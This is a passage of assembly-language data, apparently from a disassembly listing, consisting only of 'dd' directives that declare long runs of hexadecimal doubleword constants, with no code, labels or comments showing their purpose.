		dd 65960E8Fh, 301E7255h, 4E4025F1h, 731D0BE2h, 29C0043h
		dd 0F3C82022h, 4909CB38h, 8089043Ch, 7AD14140h,	13600E9h
		dd 0BC73F447h, 2A01D3F6h, 3927A46Ah, 53F8C7B9h,	0E5110007h
		dd 0F564F189h, 142488C8h, 0A500BE5Ah, 9C336878h, 0D6150019h
		dd 0B27A6BC0h, 7E03E0B6h, 0B845ACAEh, 1D9FD374h, 39E3433Ah
		dd 0A657B900h, 6F29EFD6h, 0BA9AC212h, 818A5C00h, 0FF8A216h
		dd 597213C6h, 3360600h,	9E039779h, 3420F46Bh, 3996E891h
		dd 3BBDF0CAh, 13826982h, 9FBE7B0Ch, 2AE8E863h, 5FEA2031h
		dd 8D64100h, 7C649459h,	3B8002Fh, 893CEE51h, 49008AA5h
		dd 8E784E1Ah, 16D06938h, 1F041779h, 3B26400Eh, 2F796E4h
		dd 762F7500h, 8FB97AB4h, 623C001Ah, 9AF1A145h, 0B60067A9h
		dd 0F2FF0E19h, 7DB59CEAh, 0A72B0044h, 0CEED11E4h, 0F4013D99h
		dd 0A917A65Ch, 91E8302Eh, 96A00019h, 8C356955h,	900229Fh
		dd 0A79C834Dh, 197A4Fh,	5AAA4E5Eh, 46F906ADh, 0E5E7CE0Fh
		dd 0B780A0ACh, 90D18399h, 0D46E1D1Ah, 0AF6BCF4Fh, 0BF82BA40h
		dd 0E1005E12h, 13273A24h, 51CB93h, 75504EE0h, 7642AE1Eh
		dd 9DDA7200h, 36E459B7h, 0BD0B005Ch, 6E9E7861h,	2C00EBD0h
		dd 0FAE2577Ah, 38F47DF0h, 380069D3h, 6A54411h, 4500939Eh
		dd 2552ACD7h, 0C8498Bh,	0BC05CF4Ch, 98551312h, 7C3B22F4h
		dd 0A50E8077h, 91F5360Bh, 4B600D3h, 813FEAADh, 0E503E10Ah
		dd 0ED138ABAh, 0E01BF3AFh, 0B42898h, 2E0E9E19h,	6E7D9B88h
		dd 12FC8700h, 310AEF9Dh, 3381CB8h, 0D0D4001Dh, 413C0658h
		dd 0F6464900h, 2151917Ch, 0FF86125Ah, 3BB401C7h, 204CE694h
		dd 0CE005284h, 8B53EF08h, 1D4D2E72h, 0C0C6FF22h, 0DBF70FCAh
		dd 0D500F869h, 0D334646Dh, 13E766Fh, 738570CDh,	0DB37AF6Eh
		dd 2E9DA480h, 81D2CCF9h, 14477700h, 0F31A3C01h,	756BF427h
		dd 59EE5887h, 0EB861F00h, 65C2292h, 57F6E100h, 43A6553Bh
		dd 0A9FC90h, 0FED8DB4Eh, 25BFB84Fh, 7E15A809h, 9EB000C1h
		dd 15338D3h, 4C24C020h,	0EC93B596h, 1B07828Eh, 0A1326A7Bh
		dd 0A267F0E0h, 746E0733h, 0A007F472h, 26A9DCF7h, 28B681Fh
		dd 0EC00D0E4h, 6E4101EDh, 168B8B9h, 0CAF64792h,	3E6D9397h
		dd 0E0F1A5A0h, 88CC5074h, 0FE2D0084h, 0CB4C18E8h, 170077EBh
		dd 0CCFF6076h, 375C08h,	0CE3601C4h, 541C2DF3h, 0F6EA9203h
		dd 0B040A24Bh, 14AB66h,	0AFDB4DBAh, 0F0CF1752h,	0C627AE00h
		dd 2A7CFD26h, 387E2CEAh, 3F1E0F5Ch, 0D7EDFA83h,	30C0FBD1h
		dd 0C900AEB3h, 624B227Dh, 0B5010Ch, 0E89A47EAh,	207B0644h
		dd 0AD777100h, 3C2CECD0h, 564A3B2Bh, 16EDDA00h,	0F188C20Dh
		dd 64596026h, 93AB003Dh, 28A1C10Ch, 77C8043Eh, 90149489h
		dd 37CF1D4h, 330A8D00h,	0C7B23245h, 9CB3D7Dh, 9613FA83h
		dd 0B5C0AE47h, 0B600758Fh, 0CA821086h, 0FC1B3D0h, 0FEE1890Bh
		dd 1D00A2A9h, 5E97D991h, 0E5147C00h, 0DAE0B62h,	26110057h
		dd 6E30EA8Ah, 9E1E90F1h, 5E810486h, 73244FE5h, 90F7B6D9h
		dd 1A79374h, 983BEC52h,	60BE86B0h, 0E300550Ah, 7FAFC207h
		dd 94DADCh, 0D8BA7897h,	31F23AA6h, 0B3EAF607h, 7EF010A7h
		dd 2E0437A2h, 1E954244h, 0C414C091h, 0ECE183FEh, 1E02C313h
		dd 0B9126800h, 51DED05Eh, 5AF49857h, 6C7600FBh,	0C841783Ch
		dd 7C00991Eh, 9E646FC7h, 0BDBC70h, 0D77D1819h, 0B4976284h
		dd 6DC22700h, 0F9A26981h, 0D5B60007h, 0D1048B17h, 630089CDh
		dd 4C715A70h, 2CA9EEh, 0CBDE392Fh, 0B51A99CCh, 0D7DBF12Eh
		dd 4FC80C01h, 6FF0852Bh, 0E47F483Ah, 5E1C360Bh,	0F0D3C800h
		dd 2807B3E2h, 0B6BBFF4Ah, 746FA010h, 4257004Ch,	6130271Bh
		dd 69F06288h, 59AD3401h, 5F489953h, 0A670E0E6h,	47363F23h
		dd 56D000F2h, 8CF318B9h, 8802B00Dh, 0AFDCAD2Ch,	48F2E0B5h
		dd 73E8F9h, 475A9A89h, 16796F0Eh, 0C5404400h, 0E2D7975Eh
		dd 0F1EDA0D9h, 0FA330061h, 0C0826BC4h, 0AF001E26h, 3E9F14D7h
		dd 1349662Bh, 0CB1A80h,	13A82AE7h, 0A3004D26h, 41D8B617h
		dd 70152FFh, 1BEB1C71h,	930F20B4h, 2F712AFAh, 35BDCA00h
		dd 0FC47F236h, 0E71AB8EAh, 0A04308E9h, 6BE8F8B4h, 2B63017Ch
		dd 0AEC2C61Ch, 1A960080h, 8F16583Eh, 93706B00h,	0AF5906A8h
		dd 65A09700h, 255E4CFh,	3AE881h, 0EBF7C410h, 8A7CDB71h
		dd 9F430D28h, 0BE6CB11Dh, 0C372842h, 7084608Eh,	8A760F1Fh
		dd 0F4002E23h, 0DBC106CCh, 73A09000h, 0BD872B37h, 0F881006Eh
		dd 0E322C9BFh, 9A00B3E9h, 0CC9355D1h, 4EB163Ah,	5A9933B9h
		dd 80F3C5C4h, 0EFE985D8h, 0E51A9E0Fh, 687B05AFh, 2A3D12C0h
		dd 98DE582Dh, 0FA94900h, 0F55F2E4Fh, 8C38BB09h,	2BE403C4h
		dd 0FF4E98DFh, 0E80A073h, 89EF007Eh, 0AEA09308h, 86006669h
		dd 0DF1AF22Ah, 351B332h, 2D4EB9F3h, 59F0AABDh, 0B5052B5Ah
		dd 8A8ED620h, 4547A41Eh, 0AF208DABh, 0D5E955h, 93BF89F8h
		dd 3CD08713h, 0EAE02900h, 0D915376h, 0BD2FC07h,	0F837C4C6h
		dd 3089C687h, 0D1B1EB04h, 0AE591C07h, 7CC1F497h, 8CFCCB15h
		dd 0DF9F008Dh, 0B5660FE1h, 160025C6h, 0D5DDEA85h, 75D2B1ACh
		dd 86920007h, 0F9FC90AAh, 6316C8AEh, 0EAC042h, 0E88E1B00h
		dd 0A500FB24h, 723B5E1Fh, 1214DE21h, 0FC98629Bh, 122F0074h
		dd 9E3DEF84h, 16960002h, 22F17259h, 99007627h, 0D46D5288h
		dd 6B82F0h, 4508C16Ch, 0DE87CA33h, 83D9493Fh, 48CE515Bh
		dd 3DC5B893h, 0AF403BA9h, 2ED0B880h, 3025A0E5h,	1B8C7400h
		dd 0F9E61267h, 4A810545h, 0EF4231E0h, 2B180980h, 5AFA0044h
		dd 2A41E558h, 0D8002F4Ch, 0C5828FB0h, 30F96FD5h, 261050D6h
		dd 39008655h, 9541DAC2h, 19C3A02Eh, 20665AD1h, 0E1A9DCF8h
		dd 0CA586900h, 4EB4787Eh, 0F65700A5h, 2D2B1191h, 81003CE4h
		dd 0CBD10A8h, 9688EDh, 9DEF544Eh, 0FED0B144h, 35E45601h
		dd 73AF10C8h, 9A4A6CD4h, 3A2C742Ch, 54808A36h, 0CB271E9Dh
		dd 0D800418Ch, 55166BF8h, 0E580E1Bh, 0C9DFD98Ah, 0DC7D51A0h
		dd 4712B21Dh, 0C0C0569Fh, 3906CF80h, 650B122Eh,	0DC003DB0h
		dd 0DE5CAC97h, 45911B2Ch, 3156C307h, 0B05B6220h, 0CEB30050h
		dd 0AF6F20C9h, 8100142Bh
		dd 730CE912h, 18679h, 8DDCFF6h,	62CC8BF1h, 741FC200h, 3F13EB92h
		dd 0DB140016h, 956EC629h, 0A81EE5FFh, 0AB00B952h, 2C7DF71Fh
		dd 7B8B058Ah, 0C0F2A688h, 0E9D850AEh, 89DD8507h, 0AE803259h
		dd 791693h, 229AE153h, 0FAF94E37h, 2F8E4500h, 0DCAC65CBh
		dd 0A009008Bh, 0E01E3D1Ch, 58008453h, 9FA38F81h, 54E22BEh
		dd 0F46A745Ah, 1401C01Ah, 3F0035EAh, 750EE971h,	71F6796h
		dd 1323835Ah, 654340C4h, 0F00972D8h, 0C03DB67Dh, 6DB1F8h
		dd 536D48Eh, 0F935F75Ah, 49A8411Eh, 0F1EBDD80h,	5C04EC47h
		dd 5381D834h, 0C4B1C5CDh, 9426094Eh, 8201A480h,	78E00D25h
		dd 1DE036CDh, 0AE6828BEh, 0F1E60790h, 60C6CC4Bh, 7BC83CD7h
		dd 0B0D54328h, 0B570C901h, 5BF82B7Ch, 0C357C33Ah, 6B60C89Ah
		dd 5F016AEEh, 1A112AEDh, 38680F92h, 0C3200C78h,	29287F89h
		dd 0B2373Ch, 0AD13985Fh, 0F2FEC23Bh, 0F683FE80h, 29BF02E9h
		dd 53CC5C8Ah, 6D0BF360h, 4AAE490Bh, 0B19C8008h,	3DE9B55h
		dd 54A71093h, 0F0E7E017h, 5BB84991h, 0AC9A8D00h, 0BBF6F5E7h
		dd 70B981Ch, 0C84460A0h, 87BA9313h, 70F25EF9h, 1900AEECh
		dd 55B47466h, 392982Bh,	70A78AF8h, 0A088623Bh, 5427F007h
		dd 665C82A5h, 0A68029F9h, 97533C28h, 0A4B87C01h, 98321C40h
		dd 0D213D0h, 0BE804A66h, 0D508AFCh, 4C440300h, 62811026h
		dd 0D1710EABh, 3579A91h, 334E9891h, 8D2F4AD0h, 0B56458h
		dd 0E3446213h, 0F669E8h, 0BA87A4Ch, 2AF3CEE6h, 0A285F000h
		dd 8239076Ah, 0C38700EAh, 8B1D4904h, 0C900A032h, 0EEFED5F7h
		dd 4CFC1378h, 83003669h, 3F52F436h, 3700BA6Eh, 7512957Fh
		dd 15F184h, 8F9A11Bh, 0BEB8D539h, 74AEB3Dh, 0DFB93D8Dh
		dd 0E76F7380h, 15C500D6h, 743AE37h, 451E5B85h, 0E080CE02h
		dd 28EF8AC4h, 0B1FF226h, 0A2F53547h, 4B2FDC80h,	201DE8BFh
		dd 5F000E64h, 4542B84Ch, 0A39C0090h, 1CB5E179h,	5C1D33B7h
		dd 41802030h, 8E54F3F6h, 0A0B30082h, 10D8E87Dh,	0BF09A8C6h
		dd 0A048EAA9h, 703EC434h, 73B10026h, 0F57BECAh,	0DB3E9A82h
		dd 312480AAh, 0CF7C2ACCh, 109E25D7h, 0F5FAFC00h, 0EB3D86F8h
		dd 2454960Ah, 464EEF04h, 0A19100AAh, 0A4F59DC4h, 0AADC6300h
		dd 0B59C29EBh, 0BAB1005Ch, 1D7BC1EEh, 3601F5F0h, 2BE01454h
		dd 33309215h, 38DB04F6h, 0A06D90E1h, 160A6C38h,	0D83C0A17h
		dd 22B20038h, 48912C5Fh, 11EE0752h, 7084D45Eh, 0E61FCFA8h
		dd 89673Eh, 4E15D9D6h, 18D6117h, 5E0920AAh, 0E0B2EB21h
		dd 0CB00B5E9h, 0C2BD975Bh, 5AEAB7h, 0F6FE0C70h,	668FFAB6h
		dd 45095800h, 0B820323Ah, 6A391281h, 64620043h,	0B141E16Dh
		dd 5EDAF11Fh, 98C186BFh, 2ECE5FC6h, 2ECB14A6h, 0AB660050h
		dd 82B7766Eh, 342D0101h, 7D4BADEBh, 1DB0EB60h, 0FDC61Fh
		dd 89D50C41h, 0C0001003h, 7D2C6BD9h, 71F5421h, 0EDC54B12h
		dd 642ACDCFh, 0BBB860B0h, 815C184Dh, 220AEFECh,	48F68EE0h
		dd 0DD0A4F54h, 0EEE7A4h, 5E701EAAh, 5F007587h, 110997D6h
		dd 1485AF17h, 0C850A466h, 0B1B29400h, 0C7B0DE05h, 3A3CE200h
		dd 0AD224375h, 5E8B0078h, 0EC25BE01h, 0E90146ABh, 0D1CCACBh
		dd 0C200362h, 7C12006Dh, 0C02868C9h, 0BA715AAAh, 4289279h
		dd 0DC04D189h, 4341E74Ch, 3AE94A4h, 0FF31F3A8h,	8A98FE70h
		dd 0D100E6C7h, 596FA6DCh, 985C224Ch, 39CD0004h,	306C8E5Fh
		dd 4601D8C5h, 5AC9AEE3h, 70F8282Ch, 854A00C3h, 9D482022h
		dd 50AACC1h, 0C89BF750h, 485D2D09h, 1880EB8h, 65DEAF60h
		dd 0D42335FEh, 81B78F1Ah, 0BBEA2C83h, 2AE84881h, 0D7D49DDFh
		dd 0D98D1E00h, 8E4A030Ah, 777900D5h, 585306D2h,	0C5009974h
		dd 8FE56549h, 0C09720h,	84E0D9BEh, 0FAA93D5h, 8A961B28h
		dd 0E224E500h, 671EDFD3h, 0F7F000A4h, 9E5E472Ah, 8890C70Ch
		dd 59AD800h, 0DB7BA7EEh, 2B2D00DFh, 0A2E51DF1h,	400944F3h
		dd 81E48BD5h, 0EF137BFCh, 5870A860h, 0EB030C9Eh, 540867BDh
		dd 35D48BB8h, 0DA1B1600h, 76FE82A8h, 0A577E9h, 0D17095D3h
		dd 0CB298B71h, 141263B0h, 55072F02h, 0A4571A73h, 0F55AAB30h
		dd 0E678777Bh, 0F9B8009Bh, 548491FEh, 97024AC9h, 7424F643h
		dd 7819E0E3h, 686348DDh, 4EB74600h, 47681B76h, 84CA3EC3h
		dd 5D91B00Dh, 72790008h, 1C95056Eh, 34003F10h, 2BC4040Eh
		dd 7FDF86DBh, 5CF400C1h, 19752481h, 0D4BF1B7h, 598F6005h
		dd 7EB8E820h, 0CCF66Dh,	3A02713Bh, 0D8B662D0h, 0A7D74Ch
		dd 7C64B5A5h, 7C23814Eh, 58CB075Dh, 749D6A4Ah, 0C2809048h
		dd 489A8F49h, 26D9E00h,	0F195C439h, 0D28301A3h,	0EEA1CD0Ah
		dd 383BF5C3h, 0D00B0094h, 54655BE1h, 0DE610027h, 135D423Eh
		dd 210795A7h, 3ECFD83h,	7032001Bh, 33F8BBFh, 6A614047h
		dd 76889D06h, 0FB24FE83h, 56016D71h, 0EFC10F44h, 713348F8h
		dd 0A82B039Fh, 81C42F1Ch, 0C082B699h, 38E216BBh, 0BA1CFE77h
		dd 6F136199h, 64DE3805h, 0ABF9C200h, 1D8DC823h,	363A04h
		dd 0B5C5A34Ah, 351241D8h, 3C8097DFh, 1785CDCh, 521CF268h
		dd 9227FB40h, 75FCB774h, 0C699DF00h, 3E914C6Dh,	0BECDB1Ch
		dd 8A05C701h, 4EC5EE6Eh, 2026C0h, 23B3B1CBh, 0E321E7B5h
		dd 0CE926A0Eh, 801EE9D7h, 0B9F47758h, 38CA0076h, 0BC0961ADh
		dd 800BEAFh, 0DFDEE307h, 72281CBh, 651B8EC6h, 1EC9101Dh
		dd 0C27419E5h, 0DFBD7B00h, 0F4B83DEh, 69F8AEh, 0E2494706h
		dd 0BC50C009h, 76EF1E00h, 0D061B2E4h, 6D8F00EBh, 23F9E30Ah
		dd 4800E859h, 0E446F58Ch, 3C4045B8h, 0A880ED83h, 0DB90EC6Bh
		dd 0D0500C24h, 0C401D4C0h, 0CB77611Ch, 5C803FC8h, 0C5053B03h
		dd 0F803AB9Fh, 0AC062B4Fh, 3960C7F0h, 1712EAh, 0CC5BE08Bh
		dd 0A131FCC6h, 8050AD01h, 0DF698158h, 0D30560D6h, 94BA00F4h
		dd 0CF2EB918h, 904CB7Eh, 0F58D74ACh, 0A1614880h, 0B373038Bh
		dd 0DDDC4A18h, 682813E0h, 0D2DA0A03h, 0F09A8027h, 3C6223ADh
		dd 2E8F3A98h, 84075F33h, 0CCED639Bh, 0E0F779F1h, 4200C6E7h
		dd 0E9879144h, 1C1C7686h, 80545827h, 7E9E23F2h,	0B10085FCh
		dd 7A1067B2h, 0E2CCB6D0h, 87072EE6h, 50930053h,	0F130EBA0h
		dd 0E700EAE0h, 9F84C4E5h, 33E7AB8h, 8F06EDB3h, 1C844F5h
		dd 0BD0993FAh, 80D1F278h, 0F9E7D044h, 3AA009Fh,	23443779h
		dd 3A00E9DFh, 4C31845Dh, 0E4BC41h, 21CE06E6h, 0A1D3E1DEh
		dd 91F8FE17h, 0C060C487h, 31C36DFh, 58670F20h, 6E82216h
		dd 0B400E344h, 24BC4625h, 0B595EEh, 57A2CAFh, 0AC0BE0C6h
		dd 29003EEEh, 52926E94h, 968395h, 7EFB125h, 0FBD47775h
		dd 0B5E25100h, 0D2CC820Ah, 3A8E84Fh, 81EB843h, 0FAA9915Fh
		dd 0B2FE30A1h, 0DEF9CF0Eh, 4187E069h, 734DB5DAh, 0B4B15CF3h
		dd 0E2600101h, 24F1A391h, 9877C628h, 7445D22Eh,	0A2A8E100h
		dd 258DF6C0h, 6023911Dh, 0C18427EEh, 0CC2131FFh, 0CB07873Eh
		dd 0E0112637h, 61B266h,	0BC42D91Ch, 0A385E5F6h,	47913000h
		dd 6E498076h, 0E79A001Fh, 128196BDh, 0C500E225h, 6C691A5Ch
		dd 0F6A11503h, 7830F546h, 0CA8C0033h, 0D199B291h, 73ECF1E6h
		dd 0D728A613h, 74B97C07h, 314A571h, 0DA62E0h, 0DFA9B3C9h
		dd 0FF4A915Ah, 32D43E1Ch, 67EBCB80h, 3F5DD9C5h,	4E805C76h
		dd 0BF7910E4h, 6800AC59h, 8A65EC0Eh, 0FF19EB3h,	84385D61h
		dd 87B57E3h, 0D0BA17B8h, 0DB28905h, 0A490C753h,	3EF7A60Eh
		dd 0FB803020h
		dd 74F02E40h, 103A410h,	0B91C097Ch, 0EEC8E84Fh,	625600ACh
		dd 4B8A5448h, 7500D7CFh, 0D44020Ch, 0B04FD0h, 571CBAFCh
		dd 0CBC24D33h, 115B6B04h, 0BB87750Eh, 43EBC9F0h, 72E300C0h
		dd 2B5168B7h, 4B013DAAh, 9DFDE7EEh, 8AD1DCABh, 58F2A4E0h
		dd 3100548Dh, 0AE3528FBh, 4A04F1B4h, 26AC1491h,	0F57960C0h
		dd 0DC78FEh, 456A3A82h,	11F7E75Eh, 0F936A401h, 3209054Bh
		dd 9B88F0h, 1C46B24Ch, 0C5814004h, 17C5348h, 7DD1A9F5h
		dd 3EF11B9Ch, 6500B42Ch, 26218A66h, 205C5831h, 14C4CFBh
		dd 9E8B459Bh, 0FB601241h, 0D6011D42h, 33888F0Eh, 0B0367487h
		dd 61B130EFh, 0DC517E1Dh, 7B14B587h, 0A1834170h, 268903EDh
		dd 621A8197h, 980F4EABh, 6963C807h, 0E9F008D9h,	8E45B509h
		dd 57D8E0F1h, 128331BAh, 808CD7EBh, 20457754h, 0E804EC74h
		dd 99117CEh, 3188B090h,	6FF0952Fh, 80183700h, 5EFB7FE8h
		dd 7A6002CFh, 46273C26h, 0C6E39840h, 9300FF74h,	893BECCBh
		dd 5CEE1645h, 1000BC2h,	148BDDB6h, 0EB00BF1Ch, 4F75663Bh
		dd 0E657D2Ah, 0E515AC47h, 0E8791380h, 6C0190A1h, 4C9DE017h
		dd 4B30F960h, 1A47038Bh, 761CE75Dh, 0D31081D0h,	0ABC20E00h
		dd 3E4863C9h, 0E686170Ah, 31AB0003h, 0CD55971Bh, 25E1EB12h
		dd 0AE600E01h, 0F3058FFh, 2F1000ADh, 965FD81Bh,	0ED00DB28h
		dd 2DD20E9Dh, 4AE52E6Fh, 3FE4401Dh, 191562E9h, 0DAF17F00h
		dd 0F5EB856Dh, 0B21C0039h, 0B642CCCEh, 0F008347h, 0B1AA7BDCh
		dd 94B0F1h, 0EA807A67h,	0DE091AF9h, 19DAE58h, 6159F5E9h
		dd 0F89D1456h, 75648717h, 92DE3C40h, 0ACD2DE28h, 1D358301h
		dd 989D5E84h, 0D4B7DCh,	3E15508Fh, 52A12D58h, 6E88B900h
		dd 4EAE19Ah, 17EB1C86h,	55538FAEh, 7AACB221h, 0A20CE8F0h
		dd 84FA9300h, 609D0DA0h, 3CB700C6h, 0BDFD5336h,	3400D164h
		dd 214D7645h, 70409C6Ah, 995A2F57h, 36B23C20h, 0A560D125h
		dd 550434C0h, 0AC1C009Eh, 9AB7C40Fh, 0E9009901h, 503311D7h
		dd 537783h, 3CBF6B09h, 6CA58B61h, 480194E6h, 29722B2Fh
		dd 8DC84DEBh, 0EC7900D0h, 0D7532D19h, 333C10BFh, 4F118F52h
		dd 0F28E8555h, 70021080h, 4BBB40BEh, 0E8972E00h, 0F8EBD13Ah
		dd 23D902DDh, 4AE270ABh, 0FCFA2861h, 0B07C218h,	0E51AA140h
		dd 35E1D240h, 0B46E03D5h, 24A5EB9Ah, 4807A39Fh,	0F4A65881h
		dd 4F017633h, 4A5FE789h, 1020D999h, 289A4C3Fh, 791861Eh
		dd 909848FEh, 63157621h, 0D1C5B70Eh, 6D407D77h,	6CBE82E2h
		dd 4D102C1Ch, 5F560CBCh, 501B5D0h, 0C89CD48Eh, 0F4F40645h
		dd 0A88400ADh, 7840B626h, 7BE6A331h, 0B73B6C01h, 66D56843h
		dd 3C6AF0h, 0A5EA764Dh,	81804C9Ah, 0AA8B7500h, 0C0D9049h
		dd 0A6FB00FCh, 9732D618h, 0A10039F0h, 610E55C0h, 0C0771E36h
		dd 2BCB84A6h, 0A91D0A94h, 6CAE25DBh, 8E8A9000h,	50080D7Ch
		dd 43C422h, 756CE924h, 33B510CBh, 0CDFFDD07h, 0DB85A4FAh
		dd 20E0F887h, 468F8h, 5EFE1E89h, 1F31A5E1h, 8D7B0600h
		dd 6DBEF2FAh, 3A453F10h, 0F7803580h, 1622023Eh,	0BC987907h
		dd 6C40E51Dh, 4829F8h, 46B13D68h, 84BEA9AAh, 0C2E20B00h
		dd 49B5CA6Dh, 53140CB8h, 3C5E8F8Ch, 15A26E00h, 77ED4335h
		dd 37C91F9Dh, 6D48C0B5h, 47E0F1F2h, 5C41FE0Eh, 0A9BA06Bh
		dd 96681C5Bh, 0F36DC060h, 0AF009729h, 0FA7B0C1Bh, 158613h
		dd 0C3FC8291h, 0BF4D4063h, 0CC1C1100h, 2B96A90Dh, 0A0600A8h
		dd 26F7B82Ah, 6600AB69h, 0E6534636h, 74626DA3h,	7B579884h
		dd 7940006Bh, 1B03D96Ch, 0DD0F8B24h, 606F3EBDh,	66FAFC72h
		dd 3CCD25Bh, 9E921E56h,	57CA3F0h, 7009BE5Bh, 240B55h, 0BCE3CE03h
		dd 31BB00EAh, 0A16515C9h, 0A43F8D40h, 6A688355h, 0F71FB1Ah
		dd 2BA59730h, 0CF6BBC0h, 0BD0060FFh, 2CFCBF51h,	3E151C12h
		dd 6D00CFD3h, 0B88CDDB2h, 450F17ABh, 20EBF8ADh,	1EACE091h
		dd 0FDCE001Ch, 3F3E8AD5h, 765C9CB3h, 1DF0038Eh,	0A882C239h
		dd 56CBB7h, 0AD72EC43h,	33320B9Ah, 7B522D00h, 0BF593517h
		dd 0A62071Eh, 80A70FEEh, 36678287h, 1C634A00h, 66F32D0Bh
		dd 0F2030080h, 0C85B93Dh, 3F3C2B79h, 0C9C68032h, 0B845F1D6h
		dd 0DD7A035Dh, 4666AE9Ah, 80903FF8h, 6E389F03h,	0E8C97D86h
		dd 0ED67616h, 91A81CF4h, 187349E0h, 511EB8C7h, 1DFE7B96h
		dd 0F1403071h, 66D6972Fh, 405F009Dh, 4447BC99h,	8F0052E3h
		dd 0CC4A62Dh, 0E616896Dh, 223B0056h, 0ED44B702h, 0A6008183h
		dd 7C1FE567h, 0DC94A1h,	5585F1BAh, 49B39A2Ah, 5A882501h
		dd 17EFC960h, 1565FC0h,	93648A84h, 40F408DFh, 0B2DD2E97h
		dd 62988300h, 3C12DBA5h, 55A3173Eh, 0E0BC81F3h,	0BC15E88Fh
		dd 0D15A8301h, 1BF4B9BAh, 6851038h, 0DA440A1h, 0BECF12F1h
		dd 0C9293A00h, 956F15B5h, 5AEF0014h, 0B48D61Ah,	1C005D60h
		dd 760C4A42h, 0DE205Ch,	1EDDC3DFh, 0EAD362FAh, 3D7833F2h
		dd 0E9DA0E18h, 3CFB4B10h, 0D6A03917h, 0E200E378h, 87D3868Eh
		dd 0C9F040Ah, 0CFF9ACD0h, 0D93F4FB8h, 0FB460CCCh, 99DC853h
		dd 873ED25Ch, 3001C4F8h, 48A04F1Dh, 608768BAh, 2796A45h
		dd 0C060FD16h, 540091D4h, 8473418Bh, 17C0690h, 0A81D79EBh
		dd 802817CBh, 4B91AD59h, 7677A58h, 50D93CD3h, 8CEB307Fh
		dd 8100C7BDh, 0E7867953h, 0E0E0F00Fh, 2B880006h, 85E4B8CEh
		dd 0A83D072Dh, 7B71071Ch, 0DB7045F9h, 157EDE2h,	6F779361h
		dd 0E8F104A2h, 136089ACh, 0ECD79A0Ch, 0D6850EEAh, 9841AEFAh
		dd 2B09B663h, 17FC24E0h, 0E89EBB7h, 0A40014C0h,	0A151788Eh
		dd 0C6C4CD07h, 0DB4426A2h, 0ED0300ACh, 393781A5h, 41564780h
		dd 0EA79A1Eh, 0E5103040h, 20A1D4Fh, 284918Ah, 74C10613h
		dd 74804015h, 9E003371h, 0FC1A5348h, 0E81C0CA5h, 0EE520029h
		dd 4EA27E9Dh, 0B800D60Bh, 0E51B7587h, 0EB4686h,	0F12E013h
		dd 5B809259h, 8F4838h, 9A40E8D1h, 0B027FE8Ch, 0DA180084h
		dd 6F4D6BAEh, 0C5698D56h, 0C4A8FAA0h, 3015BD90h, 236E4EB8h
		dd 77174B48h, 9101BC41h, 6330444Eh, 0D17830h, 5AD43485h
		dd 15FDDAE0h, 7E00BBEEh, 0EBCE046Eh, 303F087h, 42C8B94Fh
		dd 5B0D646h, 0BE1CE133h, 782CDDA9h, 10DEF300h, 44E87Eh
		dd 6C7A287h, 6B1FB903h,	0D6713A00h, 7FCCB1B3h, 779501F2h
		dd 248C3D1h, 687680F4h,	2978BCC4h, 47DC00CDh, 0D4AA69D7h
		dd 0D82CF411h, 0E105CE6Fh, 91806DE2h, 0E5C456h,	0F4ACAF0Ah
		dd 1DC52541h, 1EAEA33Ch, 0B980C032h, 8A63D158h,	0D99600ABh
		dd 371ED78h, 0FC001090h, 7321D8Eh, 1E0F5662h, 0EB8A340h
		dd 2DA1B128h, 60F37C7Ah, 790F38CBh, 3784A96h, 9311FD75h
		dd 3948E0C8h, 598900F1h, 2336F0DEh, 0DC001F82h,	4A2B0B20h
		dd 4070E5h, 640CEDECh, 2CB2115Fh, 8A02AC00h, 4BDD96D4h
		dd 0D20A1F43h, 828F3E52h, 0A040B2B8h, 0BE0735E5h, 0A6269700h
		dd 886A8FE3h, 39320A74h, 1FB8053Eh, 0F6C40637h,	6700F0A8h
		dd 3A5835FCh, 50B42E09h, 1F8456h, 5E84D53h, 0E4F6BE10h
		dd 0D0B02CA3h, 6A398A0Bh, 0C92CC294h, 0B2583025h, 31021A40h
		dd 8809FC66h, 0E8946083h, 59A160CCh, 0F3E50D1h,	0E7D2BE10h
		dd 0EF33FA82h, 8CC4F002h, 841558C4h, 142AE21h, 0FD088F39h
		dd 411ADA2Fh, 0B088A399h, 5641E06Eh, 7C01EECBh,	292C41BDh
		dd 0AA0FCA8Ch, 0C54784A3h, 581BE6h, 19073930h, 807D5310h
		dd 0AAB03D64h
		dd 0BDF86240h, 50C3C0EAh, 0A8717889h, 3233A75h,	99380A15h
		dd 0F190FCC4h, 16398472h, 684E868Ah, 26D01401h,	6B59D54h
		dd 80AFF161h, 7770B301h, 7DC6731Dh, 2F7C9040h, 0C7D8EF6Bh
		dd 468700FDh, 3C5070AEh, 37012B20h, 45BC21ABh, 0D440DAFAh
		dd 1D59AAh, 0E4CF93AEh,	0C36342F7h, 0CAE27718h,	0CBF2A8h
		dd 0A47F5735h, 0B27922A1h, 1402F8F4h, 9A9C4310h, 0F37C8345h
		dd 0B205E848h, 0E871E5h, 8EA365FCh, 0BC021DC2h,	0C30EC81h
		dd 37B200B6h, 0EAFB71E1h, 25004AA3h, 0FABC7BDDh, 2AB8687Eh
		dd 0C86A4Bh, 7CB09055h,	0B21B879Eh, 6F72BE0Fh, 61BB40C1h
		dd 0EC5AEB23h, 28FEE8D2h, 98F84E9Dh, 0ED99005Ah, 5619A622h
		dd 0D0C7D61Fh, 0A560C10Dh, 1DBDD2BBh, 404643AFh, 1A5BCE42h
		dd 0F503C335h, 0CB8A82F3h, 8411B1B8h, 0E0002C25h, 396E6EFh
		dd 0CBD41F27h, 18001329h, 0DD542B19h, 185817C1h, 52999CE7h
		dd 6F0FB933h, 66AFA707h, 2448CBFCh, 3E800684h, 697D2E00h
		dd 0A4BC35C5h, 0CB41DA1Ch, 0AF24E94Fh, 6A8660F9h, 31A351h
		dd 8C98BC90h, 0B4C37E99h, 7844DA1Eh, 0BF649D80h, 1CC51F63h
		dd 0C11B940Eh, 0DFBC118h, 0D256E40Ah, 54E0FC03h, 0C30FFD9Fh
		dd 43AC5AAh, 0D3B841C0h, 700F85Bh, 0D56BE961h, 24BF1C76h
		dd 73AD84Ah, 0C00C518Ah, 852E8D44h, 7D074B7Fh, 0B876AE8Ch
		dd 0A2DF36D0h, 0C3DA0005h, 0CC894A69h, 512C3950h, 0B0000B94h
		dd 4636C90Ah, 9683002Ah, 0B686298Eh, 84003EEEh,	38356A1Fh
		dd 0E057CBFEh, 0A4F4006Ch, 45491E46h, 44019573h, 6A47613Ch
		dd 10FDE855h, 0FC9C5F0h, 660A4C20h, 22EBAB80h, 4E003AE7h
		dd 546F5EDEh, 1844DBCh,	0E97C2AB7h, 0C455231Eh,	2E00AB30h
